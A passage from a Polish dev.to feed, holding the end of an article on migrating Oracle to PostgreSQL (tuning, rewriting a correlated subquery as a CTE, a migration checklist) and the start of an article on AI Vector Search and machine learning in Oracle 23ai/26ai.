-- po zmianach: restart (shared_buffers) i ANALYZE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dwie nieoczywiste decyzje&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;work_mem&lt;/strong&gt; to najważniejszy parametr dla analityki — gdy sortowanie lub budowa tablicy mieszającej (hash) nie mieszczą się w pamięci, PostgreSQL zrzuca je na dysk i zwalnia drastycznie. &lt;strong&gt;JIT (kompilację zapytań do kodu maszynowego) wyłączyliśmy celowo&lt;/strong&gt;: opłaca się ona przy zapytaniach trwających sekundy, ale przy krótkich (jak nasze) sam narzut kompilacji bywa większy niż zysk — pierwszy „zimny” przebieg Q7 z włączonym JIT trwał 5&amp;nbsp;sekund. Zamiast globalnie wyłączać JIT można też podnieść próg &lt;code&gt;jit_above_cost&lt;/code&gt; — wówczas kompilacja odpala się tylko dla naprawdę kosztownych zapytań; pełne &lt;code&gt;jit=off&lt;/code&gt; jest uzasadnione, gdy obciążenie to głównie krótkie zapytania.&lt;/p&gt;

&lt;h2&gt;
  
  
  Studium przypadku Q5: gdy strojenie to za mało
&lt;/h2&gt;

&lt;p&gt;Q5 to klasyczne &lt;strong&gt;podzapytanie skorelowane&lt;/strong&gt; (liczone osobno dla każdego wiersza zewnętrznego): „policz klientów, których przychód przekracza średnią w ich kraju”. Na Oracle wykonuje się w ~1,8&amp;nbsp;s. Na PostgreSQL — i to &lt;strong&gt;zarówno przed, jak i po nastrojeniu&lt;/strong&gt; — przekroczyło ustawiony przez nas &lt;strong&gt;limit czasu zapytania&lt;/strong&gt; (&lt;code&gt;statement_timeout&lt;/code&gt;, 150&amp;nbsp;sekund) i zostało przerwane:&lt;/p&gt;

&lt;p&gt;psql nordpol_pg&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- PostgreSQL, podzapytanie skorelowane (oryginalna skladnia z Oracle)
SELECT count(*)
  FROM customers c
 WHERE (SELECT sum(oi.line_total)          -- przychod tego klienta
          FROM orders o
          JOIN order_items oi ON oi.order_id = o.order_id
         WHERE o.customer_id = c.customer_id)
       &amp;gt; (SELECT avg(kup_rev)           -- srednia krajowa (tez skorelowana po country_id!)
            FROM (SELECT sum(oi2.line_total) AS kup_rev
                    FROM customers c2
                    JOIN orders o2      ON o2.customer_id = c2.customer_id
                    JOIN order_items oi2 ON oi2.order_id  = o2.order_id
                   WHERE c2.country_id = c.country_id
                   GROUP BY c2.customer_id) kraj);

ERROR:  canceling statement due to statement timeout
Time: 150000.386 ms (02:30.000)     &amp;lt;- ponad 150 s, tez po nastrojeniu
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dlaczego Q5 to nie problem pamięci, tylko algorytmupodzapytanie skorelowane (raz na 5000 klientów) vs przepisanie do 2 przebiegów (CTE)PostgreSQL bez przepisaniapodzapytanie liczone OSOBNO dla każdego klienta:× 5000 razy — raz na klientaTIMEOUT &amp;gt; 150 000 msvsPostgreSQL po przepisaniu (CTE)cust_revprzychód klienta — 1 przebiegcountry_avgśrednia krajowa — 1 przebiegPostgreSQL 251 ms · Oracle 340 msten sam wynik (2343 klientów)&lt;/p&gt;

&lt;p&gt;Mechanizm: po lewej PostgreSQL liczy podzapytanie osobno dla każdego z 5000 klientów (i nie kończy); po prawej — przepisane na dwa przebiegi (CTE) liczy się w ułamku sekundy.&lt;/p&gt;

&lt;p&gt;Dlaczego? Optymalizator Oracle potrafi &lt;strong&gt;spłaszczyć podzapytanie skorelowane&lt;/strong&gt; (z ang. &lt;em&gt;unnest&lt;/em&gt; — przekształcić je w zwykłe złączenie z agregacją) i policzyć średnią &lt;strong&gt;raz na kraj&lt;/strong&gt;. PostgreSQL bez przepisania wykonuje je dosłownie — &lt;strong&gt;raz dla każdego z 5000 klientów&lt;/strong&gt;. (PostgreSQL spłaszcza część podzapytań — np. &lt;code&gt;EXISTS&lt;/code&gt; i &lt;code&gt;IN&lt;/code&gt; zamienia na półzłączenie — ale nie tego skorelowanego podzapytania skalarnego ze średnią.) Żadne zwiększanie &lt;code&gt;work_mem&lt;/code&gt; tego nie naprawi, bo problem jest algorytmiczny, nie pamięciowy. Lekarstwem nie jest strojenie serwera, tylko &lt;strong&gt;przepisanie zapytania&lt;/strong&gt;: policz przychód każdego klienta i średnią krajową &lt;em&gt;raz&lt;/em&gt;, w dwóch przebiegach (we wspólnym wyrażeniu tablicowym, CTE), a potem porównaj:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- to samo pytanie, ale liczone raz zamiast 5000 razy
WITH cust_rev AS (
  SELECT o.customer_id, c.country_id, sum(oi.line_total) AS rev
    FROM orders o JOIN order_items oi ON oi.order_id=o.order_id
    JOIN customers c ON c.customer_id=o.customer_id
   GROUP BY o.customer_id, c.country_id),
country_avg AS (
  SELECT country_id, avg(rev) AS avg_rev FROM cust_rev GROUP BY country_id)
SELECT count(*) FROM cust_rev cr JOIN country_avg ca USING(country_id)
 WHERE cr.rev &amp;gt; ca.avg_rev;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Najlepszy dowód to plany wykonania z samej bazy. Wersja oryginalna ma &lt;code&gt;SubPlan&lt;/code&gt; liczony przy każdym wierszu i szacowany koszt &lt;strong&gt;35 milionów&lt;/strong&gt;; wersja CTE liczy wszystko w dwóch przebiegach i kończy w 263&amp;nbsp;ms:&lt;/p&gt;

&lt;p&gt;psql nordpol_pg: EXPLAIN [ANALYZE]&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- ORYGINAL: EXPLAIN podzapytania skorelowanego (nie wykonujemy - za wolne)
 Aggregate  (cost=35172003.02..35172003.03 rows=1)        &amp;lt;- koszt 35 MILIONOW
   -&amp;gt;  Seq Scan on customers c  (cost=0.00..35171998.86)
         Filter: ((SubPlan 1) &amp;gt; (SubPlan 2))               &amp;lt;- liczone DLA KAZDEGO wiersza
         SubPlan 1  -&amp;gt;  Aggregate ...     (przychod klienta)
         SubPlan 2  -&amp;gt;  HashAggregate ... (srednia krajowa - przeliczana per klient!)

-- PRZEPISANE: EXPLAIN ANALYZE wersji CTE
 Aggregate (actual rows=1 loops=1)
   CTE cust_rev  -&amp;gt;  HashAggregate (actual rows=5000)      &amp;lt;- przychod: 1 przebieg
   -&amp;gt;  Hash Join (actual rows=2343)
         -&amp;gt;  HashAggregate (actual rows=13)                &amp;lt;- srednia: 1 przebieg (13 krajow)
 Execution Time: 263.680 ms                                &amp;lt;- 263 ms zamiast &amp;gt;150 s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Q5: tuning nie pomaga - pomaga przepisanie zapytaniaten sam wynik (2343 klientów), pięć sposobów · skala log · „timeout” = przerwane po 150 s110100100010000100000czas &lt;a href="https://dev.tolog"&gt;ms&lt;/a&gt;1842Oracle 26ai150000PostgreSQL&lt;br&gt;
(domyślny)150000PostgreSQL&lt;br&gt;
(po tuningu)251PostgreSQL&lt;br&gt;
(przepisane)340Oracle&lt;br&gt;
(przepisane)czas zapytania Q5&lt;/p&gt;

&lt;p&gt;To samo zapytanie policzone na pięć sposobów. Przepisanie do CTE ścina czas z „ponad 150 s” do dziesiątek milisekund — i to na obu bazach.&lt;/p&gt;

&lt;p&gt;Najważniejsza lekcja z całego benchmarku&lt;/p&gt;

&lt;p&gt;Część „przewagi Oracle” to nie szybsza maszyna, tylko sprytniejszy optymalizator ukrywający nieefektywnie napisane zapytania. Po migracji takie miejsca trzeba &lt;strong&gt;znaleźć i przepisać&lt;/strong&gt; (narzędzie: &lt;code&gt;pg_stat_statements&lt;/code&gt; + &lt;code&gt;EXPLAIN ANALYZE&lt;/code&gt;). Dobra wiadomość: przepisane zapytanie jest szybkie &lt;em&gt;również na Oracle&lt;/em&gt; — czyli to po prostu lepszy SQL, nie „obejście braku”.&lt;/p&gt;

&lt;h2&gt;
  
  
  Kiedy migrować, a kiedy się wstrzymać
&lt;/h2&gt;

&lt;p&gt;Migracja Oracle→PostgreSQL jest dziś rutynowa technicznie — ale „rutynowa” nie znaczy „darmowa w czasie”. Z naszego przejścia płyną cztery wnioski:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dane i schemat to nie problem.&lt;/strong&gt; ora2pg przeniósł ponad 400&amp;nbsp;tys. wierszy (dokładnie 407&amp;nbsp;538) w 21&amp;nbsp;sekund, a typy i indeksy skonwertował sam. Budżet czasu zjada warstwa proceduralna.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PL/SQL to sedno wyceny.&lt;/strong&gt; Pakiety, transakcje autonomiczne, kolumny wirtualne i osobliwości partycjonowania trzeba przepisać ręcznie — raport ora2pg da Ci realną liczbę dni pracy, zanim coś obiecasz biznesowi.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wydajność nie jest argumentem przeciw.&lt;/strong&gt; Po podstawowym tuningu PostgreSQL gra w tej samej lidze co Oracle. Wąskim gardłem bywają pojedyncze zapytania liczące na „magię” optymalizatora Oracle — te trzeba znaleźć i przepisać.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Administracja ma komplet odpowiedników.&lt;/strong&gt; Replikacja, HA, PITR, monitoring — wszystko jest, często za darmo tam, gdzie Oracle liczy sobie za opcje licencyjne. To zwykle przesądza o decyzji.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kolejność kroków migracjizielone = automat · czerwone = ręczna robota (tu idzie budżet)1raport ora2pgocena B-52orafcewarstwa zgodności3baza UTF8kodowanie4schemat bez FKDDL5COPY danych407 538 / 21 s6FK + resyncsekwencje7przepisanie PL/SQLpakiety, CONNECT BY8walidacjaoracle_fdw + replikacja&lt;/p&gt;

&lt;p&gt;Osiem kroków migracji w kolejności: zielone idą automatem, czerwony (przepisanie PL/SQL) to miejsce, gdzie idzie większość budżetu.&lt;/p&gt;

&lt;p&gt;Praktyczna checklista migracji&lt;/p&gt;

&lt;p&gt;1) Uruchom raport oceny ora2pg i policz dni pracy. &amp;nbsp; 2) Zainstaluj &lt;code&gt;orafce&lt;/code&gt; — oszczędzi przepisywania. &amp;nbsp; 3) Bazę docelową twórz w UTF8. &amp;nbsp; 4) Ładuj: schemat bez FK → dane → FK → resync sekwencji. &amp;nbsp; 5) Przepisz pakiety, transakcje autonomiczne, &lt;code&gt;CONNECT BY&lt;/code&gt;. &amp;nbsp; 6) Zweryfikuj liczebności przez oracle_fdw. &amp;nbsp; 7) Nastrój &lt;code&gt;postgresql.conf&lt;/code&gt; i znajdź ciężkie zapytania (&lt;code&gt;pg_stat_statements&lt;/code&gt;). &amp;nbsp; 8) Zaplanuj replikację i kopie (pgBackRest).&lt;/p&gt;

&lt;p&gt;Szkolenie powiązane&lt;/p&gt;

&lt;p&gt;Administracja, replikacja i tuning baz danych PostgreSQL&lt;/p&gt;

&lt;p&gt;Replikacja strumieniowa, Patroni, pgBackRest, tuning &lt;code&gt;postgresql.conf&lt;/code&gt;, partycjonowanie i diagnostyka zapytań — wszystko, czego potrzebuje administrator po migracji z Oracle, na praktycznym szkoleniu z terminem gwarantowanym.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-postgresql;administracja_bazami_danych_postgresql_z_elementami_ha__optymalizacji_i_replikacji.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post376&amp;amp;utm_content=link_migracja_oracle_do_postgresql_kompletny_przewodnik" rel="noopener noreferrer"&gt;Zobacz szczegóły szkolenia&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmpjcsvtlmnp3r8ynnds6.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmpjcsvtlmnp3r8ynnds6.jpg" alt="Zaawansowana administracja PostgreSQL HA DR" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Szkolenie powiązane — poziom zaawansowany&lt;/p&gt;

&lt;p&gt;Zaawansowana administracja PostgreSQL: HA, Disaster Recovery, monitoring, skalowanie&lt;/p&gt;

&lt;p&gt;Patroni, pgBackRest PITR, HAProxy + pgBouncer, pg_stat_monitor — szkolenie dla administratorów odpowiedzialnych za produkcyjne klastry PostgreSQL z terminem gwarantowanym.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-postgresql;zaawansowana_administracja_postgresql_high_availability_disaster_recovery_monitoring_skalowanie.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post376&amp;amp;utm_content=link_migracja_oracle_do_postgresql_kompletny_przewodnik" rel="noopener noreferrer"&gt;Zobacz szczegóły szkolenia&lt;/a&gt;&lt;/p&gt;

</description>
      <category>oracle</category>
      <category>postgres</category>
      <category>database</category>
      <category>migration</category>
    </item>
    <item>
      <title>AI w bazie danych Oracle: Vector Search, Select AI i Machine Learning (23ai/26ai)</title>
      <dc:creator>Andrzej Klusiewicz</dc:creator>
      <pubDate>Tue, 25 Aug 2026 07:04:19 +0000</pubDate>
      <link>https://dev.to/andrzej_klusiewicz_08588c/ai-w-bazie-danych-oracle-vector-search-select-ai-i-machine-learning-23ai26ai-heo</link>
      <guid>https://dev.to/andrzej_klusiewicz_08588c/ai-w-bazie-danych-oracle-vector-search-select-ai-i-machine-learning-23ai26ai-heo</guid>
      <description>&lt;p&gt;Oracle od lat cicho rozwija AI wbudowane w silnik bazy — od Data Mining po dzisiejszy AI Vector Search i Select AI w wydaniu 23ai/26ai. Pokazujemy to na realnych zrzutach z żywej instancji.&lt;/p&gt;

&lt;p&gt;Kiedy mówi się „AI w bazie danych", większość ludzi myśli o nowych, wyspecjalizowanych bazach wektorowych (baza wektorowa przechowuje dane jako listy liczb - &lt;strong&gt;wektory&lt;/strong&gt; - które opisują &lt;em&gt;znaczenie&lt;/em&gt; tekstu, obrazu czy dokumentu - podobne treści mają podobne wektory, co pozwala wyszukiwać „po sensie", nie po słowach kluczowych). Tymczasem Oracle Database robi uczenie maszynowe w SQL już od ponad dwóch dekad (pakiet &lt;code&gt;DBMS_DATA_MINING&lt;/code&gt; zadebiutował w Oracle 9i R2 w 2002 r.), a wydania &lt;strong&gt;23ai&lt;/strong&gt; (2024) i jego kontynuacja &lt;strong&gt;26ai&lt;/strong&gt; postawiły AI w samym centrum bazy: wektorowy typ danych, semantyczne wyszukiwanie, wbudowane modele embeddingów i pytania w języku naturalnym. W tym artykule pokazujemy całą historię rozwoju AI w Oracle oraz &lt;strong&gt;działające przykłady z prawdziwej bazy Oracle 26ai Free&lt;/strong&gt; - wszystkie zrzuty ekranu pochodzą z realnej instancji uruchomionej specjalnie na potrzeby tego tekstu.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Z tego artykułu dowiesz się:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;jak rozwijało się AI w Oracle - od przejęcia narzędzia Darwin w 1999 r. po AI Vector Search,&lt;/li&gt;
&lt;li&gt;czym jest typ &lt;code&gt;VECTOR&lt;/code&gt; i jak działa funkcja &lt;code&gt;VECTOR_DISTANCE&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;jak zbudować indeks wektorowy HNSW i wyszukiwać semantycznie,&lt;/li&gt;
&lt;li&gt;jak Oracle Machine Learning buduje model ML w czystym SQL,&lt;/li&gt;
&lt;li&gt;czym jest Select AI i wbudowane modele ONNX.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Historia AI w Oracle - 25 lat, nie 2 lata
&lt;/h2&gt;

&lt;p&gt;AI w Oracle nie zaczęło się od mody na ChatGPT. Baza danych Oracle ma za sobą długą drogę uczenia maszynowego liczonego bezpośrednio na danych - bez eksportu do osobnych narzędzi.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6o01n7jwfps01boplotu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6o01n7jwfps01boplotu.png" alt="Oś czasu rozwoju AI w bazie danych Oracle: 1999 Thinking Machines, 2002 Oracle Data Mining, 2008 Oracle Data Miner, 2013 Oracle Advanced Analytics, 2018 Oracle Machine Learning, 2021 OML4SQL, 2024 Oracle 23ai" width="800" height="767"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Rozwój AI w bazie Oracle - od narzędzia Darwin po AI Vector Search i generatywne AI&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;1999&lt;/strong&gt; - Oracle przejmuje zespół data mining firmy Thinking Machines wraz z narzędziem &lt;strong&gt;Darwin&lt;/strong&gt;. To fundament pod uczenie maszynowe w bazie.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2002 (Oracle 9i R2)&lt;/strong&gt; - debiut &lt;strong&gt;Oracle Data Mining&lt;/strong&gt; i pakietu &lt;code&gt;DBMS_DATA_MINING&lt;/code&gt;: klasyfikacja, regresja, klastrowanie - modele budowane w czystym SQL, wewnątrz bazy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2008 (11g)&lt;/strong&gt; - graficzny &lt;strong&gt;Oracle Data Miner&lt;/strong&gt; w SQL Developer i więcej algorytmów: drzewa decyzyjne, SVM, sieci Bayesa, reguły asocjacyjne.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2013&lt;/strong&gt; - &lt;strong&gt;Oracle Advanced Analytics&lt;/strong&gt;: Data Mining + Oracle R Enterprise, czyli język R liczony bezpośrednio na danych w bazie.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2018 (18c)&lt;/strong&gt; - marka &lt;strong&gt;Oracle Machine Learning&lt;/strong&gt;, notatniki OML, biblioteki &lt;code&gt;OML4Py&lt;/code&gt; i OML4R, AutoML w Autonomous Database.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2021 (21c)&lt;/strong&gt; - Oracle Data Mining zostaje przemianowane na &lt;strong&gt;Oracle Machine Learning for SQL (OML4SQL)&lt;/strong&gt;; nazwa pakietu &lt;code&gt;DBMS_DATA_MINING&lt;/code&gt; pozostaje bez zmian. Wbudowany AutoML.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2024 (23ai)&lt;/strong&gt; - przełom: &lt;strong&gt;AI Vector Search&lt;/strong&gt;, typ VECTOR, &lt;strong&gt;Select AI&lt;/strong&gt;, import modeli ONNX, grounded generative AI (&lt;a href="https://jsystems.pl/blog/show_post/architektura_rag_komponenty_przewodnik" rel="noopener noreferrer"&gt;RAG&lt;/a&gt; na danych firmy) - i ponad 300 innych nowości. Aktualizacje tej linii Oracle marketingowo oznacza jako „26ai" (wewnętrznie: Release 23.26.x).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Co nowego w najnowszych wydaniach (23ai i 26ai)
&lt;/h2&gt;

&lt;p&gt;Oracle Database 23ai (ogólna dostępność: maj 2024) to pierwsze wydanie long-term z literą „ai" w nazwie. Kolejne aktualizacje tej samej linii Oracle oznacza już jako &lt;strong&gt;26ai&lt;/strong&gt; - instancja, na której powstały poniższe przykłady, raportuje się jako &lt;code&gt;Oracle AI Database 26ai Free Release 23.26&lt;/code&gt;. Najważniejsze funkcje AI:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AI Vector Search&lt;/strong&gt; - typ &lt;code&gt;VECTOR&lt;/code&gt;, funkcja &lt;code&gt;VECTOR_DISTANCE&lt;/code&gt;, indeksy wektorowe (HNSW, IVF) i nowa składnia wyszukiwania semantycznego.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wbudowane embeddingi&lt;/strong&gt; - model w formacie ONNX (otwarty, przenośny format zapisu wytrenowanych modeli uczenia maszynowego - model przygotowany w jednym narzędziu, np. w Pythonie, uruchamiasz w innym bez przepisywania) można zaimportować do bazy i liczyć wektory funkcją &lt;code&gt;VECTOR_EMBEDDING&lt;/code&gt;, bez wysyłania danych na zewnątrz.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Select AI&lt;/strong&gt; - pytania w języku naturalnym zamieniane na SQL przez duży model językowy (pakiet &lt;code&gt;DBMS_CLOUD_AI&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Oracle Machine Learning&lt;/strong&gt; - pełne uczenie maszynowe w SQL/PL-SQL i Pythonie, działające w całości w bazie.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Property Graph i JSON Relational Duality&lt;/strong&gt; - zapytania grafowe oraz jeden zbiór danych widziany jednocześnie jako tabele i jako dokumenty JSON.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  AI Vector Search w praktyce - to nie teoria
&lt;/h2&gt;

&lt;p&gt;Poniższe zrzuty pochodzą z prawdziwej, świeżo postawionej bazy Oracle 26ai Free. Zacznijmy od dowodu, że to faktycznie najnowsze wydanie:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyvcgpyayipivrqgi0abp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyvcgpyayipivrqgi0abp.png" alt="SQL*Plus - SELECT banner_full FROM v$version zwraca Oracle AI Database 26ai Free Release 23.26.2.0.0" width="799" height="203"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Wersja bazy - Oracle AI Database 26ai Free, Release 23.26&lt;/p&gt;

&lt;h3&gt;
  
  
  Wektor jako pełnoprawny typ danych
&lt;/h3&gt;

&lt;p&gt;W 23ai/26ai wektor to zwykła kolumna w tabeli - definiujesz jej wymiar i format liczb. Dzięki temu embeddingi (np. opisów produktów, dokumentów, zdjęć) leżą obok danych biznesowych, a nie w osobnym systemie.&lt;/p&gt;

&lt;p&gt;Definicja kolumny ma postać &lt;code&gt;VECTOR(liczba_wymiarów, format)&lt;/code&gt;. Na przykład &lt;code&gt;VECTOR(384, FLOAT32)&lt;/code&gt; to wektor o &lt;strong&gt;384 wymiarach&lt;/strong&gt; (tyle liczb tworzy jeden embedding). Wymiar nie jest przypadkowy - narzuca go model, którym liczysz embeddingi, a kolumna w tabeli musi mieć dokładnie tyle samo, inaczej zapis się nie powiedzie. Akurat 384 to rozmiar wektora popularnego, lekkiego modelu embeddingów z rodziny all-MiniLM (używanej m.in. w przykładach importu ONNX w Oracle); większe modele zwracają np. 768, 1024 lub 1536 wymiarów - więcej niuansów kosztem rozmiaru i szybkości. Wektor zapisany jest w &lt;strong&gt;formacie FLOAT32&lt;/strong&gt; (32-bitowa liczba zmiennoprzecinkowa; alternatywy to m.in. FLOAT64 dla większej precyzji oraz INT8 lub BINARY dla mniejszego rozmiaru kosztem dokładności). W podglądzie &lt;code&gt;DESC&lt;/code&gt; pojawia się jeszcze trzeci człon - &lt;strong&gt;DENSE&lt;/strong&gt; - czyli format gęsty: przechowywane są wszystkie wymiary (alternatywą jest SPARSE, opłacalny dla wektorów z dużą liczbą zer). Gdy wymiar lub format mają być dowolne, użyjesz gwiazdki, np. &lt;code&gt;VECTOR(*, *)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F188iodgsiz4ubn61r3cr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F188iodgsiz4ubn61r3cr.png" alt="SQL*Plus - CREATE TABLE z kolumną wektor VECTOR(384, FLOAT32) i DESC tabeli pokazujący typ VECTOR(384, FLOAT32, DENSE)" width="800" height="357"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kolumna typu VECTOR(384, FLOAT32) - wektor jest first-class citizen w bazie&lt;/p&gt;

&lt;h3&gt;
  
  
  Wyszukiwanie semantyczne funkcją VECTOR_DISTANCE
&lt;/h3&gt;

&lt;p&gt;Sercem AI Vector Search jest funkcja &lt;code&gt;VECTOR_DISTANCE&lt;/code&gt;. Liczy ona odległość między wektorami (np. metryką kosinusową), a najmniejsza odległość oznacza największe podobieństwo. W przykładzie pytamy o produkty najbardziej podobne do roweru górskiego - baza poprawnie układa ranking:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdeo51ab0n2at5ohjsmdi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdeo51ab0n2at5ohjsmdi.png" alt="SQL*Plus - tworzenie tabeli produkty z kolumną VECTOR, wstawienie 4 produktów i zapytanie VECTOR_DISTANCE z metryką COSINE; wynik ranking: Rower gorski 0, Rower szosowy 0.0059, Hulajnoga 0.3265" width="800" height="534"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;VECTOR_DISTANCE z metryką COSINE - ranking podobieństwa liczony w jednym zapytaniu SQL&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Skąd te wartości w wektorach?&lt;/strong&gt; W tym przykładzie celowo użyliśmy malutkich, 3-wymiarowych wektorów wpisanych ręcznie - tylko po to, żeby ranking dało się policzyć w głowie i odczytać z ekranu. Każda z trzech liczb to umowna „oś cechy" produktu (np. jak bardzo jest sportowy, terenowy, elegancki). W prawdziwym systemie tych liczb &lt;strong&gt;nie wpisujesz ręcznie&lt;/strong&gt; - generuje je model embeddingów (funkcją &lt;code&gt;VECTOR_EMBEDDING&lt;/code&gt; na zaimportowanym modelu ONNX), a wektor ma nie trzy, lecz setki wymiarów (np. 384). Sama funkcja &lt;code&gt;VECTOR_DISTANCE&lt;/code&gt; działa identycznie niezależnie od tego, czy liczb jest 3 czy 384.&lt;/p&gt;

&lt;p&gt;Składnia jest zwięzła i czytelna - to po prostu SQL z nowymi funkcjami:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SELECT nazwa,
       VECTOR_DISTANCE(cechy, VECTOR('[0.90,0.10,0.20]'), COSINE) AS odleglosc
FROM   produkty
ORDER  BY odleglosc
FETCH FIRST 3 ROWS ONLY;

-- wynik (ranking podobieństwa do [0.90, 0.10, 0.20]):
-- NAZWA            ODLEGLOSC
-- ---------------  ---------
-- Rower gorski             0
-- Rower szosowy        .0059
-- Hulajnoga            .3265
-- 3 rows selected.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Jak to czytać: im &lt;strong&gt;mniejsza liczba w kolumnie ODLEGLOSC&lt;/strong&gt;, tym produkt w kolumnie NAZWA jest &lt;strong&gt;bardziej podobny znaczeniowo&lt;/strong&gt; do zapytania. Zero to ten sam kierunek wektora (najlepsze dopasowanie), a im większa wartość, tym dalej znaczeniowo - dlatego ranking sortujemy rosnąco po odległości i bierzemy pierwsze wiersze.&lt;/p&gt;

&lt;h3&gt;
  
  
  Indeks wektorowy HNSW dla milionów wektorów
&lt;/h3&gt;

&lt;p&gt;Przy dużych zbiorach przeszukiwanie każdego wektora po kolei jest zbyt wolne. Oracle dodaje indeksy wektorowe (HNSW i IVF) oraz dedykowany obszar pamięci &lt;strong&gt;Vector Pool&lt;/strong&gt;. Zapytanie z &lt;code&gt;FETCH APPROX&lt;/code&gt; - to przybliżona odmiana zwykłego &lt;code&gt;FETCH FIRST&lt;/code&gt;: dopisek &lt;code&gt;APPROX&lt;/code&gt; każe bazie skorzystać z indeksu wektorowego i zwrócić wynik &lt;strong&gt;przybliżony&lt;/strong&gt; (z zadaną dokładnością), zamiast porównywać po kolei wszystkie wektory. Dzięki temu odpowiedź przychodzi bardzo szybko, nawet przy milionach rekordów:&lt;/p&gt;

